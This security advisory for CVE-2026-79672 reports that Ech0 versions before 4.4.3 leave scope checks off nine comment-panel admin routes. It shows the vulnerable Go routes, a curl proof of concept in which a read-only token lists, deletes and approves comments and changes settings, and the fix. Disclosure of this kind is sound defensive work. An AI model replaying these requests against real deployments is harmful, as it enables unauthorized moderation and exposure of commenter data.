--- id: CVE-2026-79672 aliases: - GHSA-fwg7-53p4-g33c - GO-2026-5382 title: >- Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass summary: >- Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass severity: medium cvss: 5.5 cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N' vendor: lin-snow product: github.com/lin-snow/ech0 ecosystem: go affected: - github.com/lin-snow/ech0 < 4.4.3 patched: - github.com/lin-snow/ech0 4.4.3 published: '2026-04-10' updated: '2026-08-27' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-fwg7-53p4-g33c' references: - url: 'https://github.com/lin-snow/Ech0/security/advisories/GHSA-fwg7-53p4-g33c' - url: 'https://github.com/lin-snow/Ech0' - url: 'https://github.com/lin-snow/Ech0/releases/tag/v4.4.3' tags: - osv - go epss: 0.00319 epssPercentile: 0.22162 ingestedAt: '2026-08-27T19:27:46.821Z' --- ## Overview ## Summary All 9 comment panel admin endpoints (`/api/panel/comments/*`) are missing `RequireScopes()` middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., `echo:read` only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings. ## Details The access token scope enforcement system works as follows: `JWTAuthMiddleware` (`internal/middleware/auth.go`) parses any valid JWT and injects a viewer into the request context. The `RequireScopes()` middleware (`internal/middleware/scope.go:14`) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority). Every admin route group applies `RequireScopes()` per-handler: - `internal/router/echo.go` — uses `RequireScopes(ScopeEchoWrite)` / `RequireScopes(ScopeEchoRead)` - `internal/router/file.go` — uses `RequireScopes(ScopeFileRead)` / `RequireScopes(ScopeFileWrite)` - `internal/router/user.go` — uses `RequireScopes(ScopeAdminUser)` / `RequireScopes(ScopeProfileRead)` - `internal/router/setting.go` — uses `RequireScopes(ScopeAdminSettings)` / `RequireScopes(ScopeAdminToken)` However, `internal/router/comment.go:28-36` registers all 9 panel endpoints directly on `AuthRouterGroup` without any `RequireScopes()` call: ```go // internal/router/comment.go:28-36 appRouterGroup.AuthRouterGroup.GET("/panel/comments", h.CommentHandler.ListPanelComments()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", h.CommentHandler.GetCommentByID()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", h.CommentHandler.UpdateCommentStatus()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", h.CommentHandler.UpdateCommentHot()) appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", h.CommentHandler.DeleteComment()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", h.CommentHandler.BatchAction()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", h.CommentHandler.GetCommentSetting()) appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", h.CommentHandler.UpdateCommentSetting()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", h.CommentHandler.TestCommentEmail()) ``` The service layer's `requireAdmin()` (`internal/service/comment/comment.go:719-732`) only validates the user's database role (`IsAdmin`/`IsOwner`), not the token's scopes: ```go func (s *CommentService) requireAdmin(ctx context.Context) error { v := viewer.MustFromContext(ctx) if v == nil || strings.TrimSpace(v.UserID()) == "" { return commonModel.NewBizError(...) } user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID()) if err != nil { return err } if !user.IsAdmin && !user.IsOwner { return commonModel.NewBizError(...) } return nil } ``` The scopes `comment:read`, `comment:write`, and `comment:moderate` are defined in `internal/model/auth/scope.go:11-13` and registered as valid scopes, but are never referenced in any `RequireScopes()` middleware call anywhere in the codebase. **Execution flow:** Request with access token (scoped to `echo:read` only) → `JWTAuthMiddleware` extracts user ID, sets viewer → No `RequireScopes` middleware → Handler calls service → `requireAdmin()` checks `user.IsAdmin` (true for admin user) → Operation succeeds. ## PoC ```bash # 1. As admin, create an access token scoped ONLY to echo:read curl -X POST https://target/api/settings/access-tokens \ -H 'Authorization: Bearer ' \ -H 'Content-Type: application/json' \ -d '{"name":"readonly","scopes":["echo:read"],"audience":["public-client"],"expiry_days":30}' # Save the returned token as $TOKEN # 2. Verify the token CANNOT access other admin endpoints (scoped correctly): curl https://target/api/settings \ -H "Authorization: Bearer $TOKEN" # Expected: 403 Forbidden (scope check blocks access) # 3. Use the same limited token to list ALL comments (including pending/rejected): curl https://target/api/panel/comments \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK with full comment list (bypasses scope enforcement) # 4. Delete a comment: curl -X DELETE https://target/api/panel/comments/ \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK (should require comment:moderate scope) # 5. Approve/reject comments: curl -X PATCH https://target/api/panel/comments//status \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"status":"approved"}' # Expected: 200 OK (should require comment:moderate scope) # 6. Read comment system settings: curl https://target/api/panel/comments/settings \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK (may expose SMTP configuration) # 7. Disable the comment system entirely: curl -X PUT https://target/api/panel/comments/settings \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"enable_comment":false}' # Expected: 200 OK (should require admin:settings scope) ``` ## Impact - **Principle of least privilege violation**: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority. - **Unauthorized comment moderation**: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to `echo:read`) can approve, reject, delete, and batch-modify all comments. - **Data exposure**: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with `comment:read` scope. - **Settings modification**: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials. - **Scope**: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem. ## Recommended Fix Add `RequireScopes()` middleware to all comment panel routes in `internal/router/comment.go`: ```go func setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { // ... captcha and public routes unchanged ... // Admin Panel — enforce scopes on access tokens appRouterGroup.AuthRouterGroup.GET("/panel/comments", middleware.RequireScopes(authModel.ScopeCommentRead), h.CommentHandler.ListPanelComments()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", middleware.RequireScopes(authModel.ScopeCommentRead), h.CommentHandler.GetCommentByID()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.UpdateCommentStatus()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.UpdateCommentHot()) appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.DeleteComment()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.BatchAction()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.GetCommentSetting()) appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.UpdateCommentSetting()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.TestCommentEmail()) } ``` ## Affected packages - `github.com/lin-snow/ech0 < 4.4.3` ## Remediation Upgrade to a patched release: - `github.com/lin-snow/ech0 4.4.3`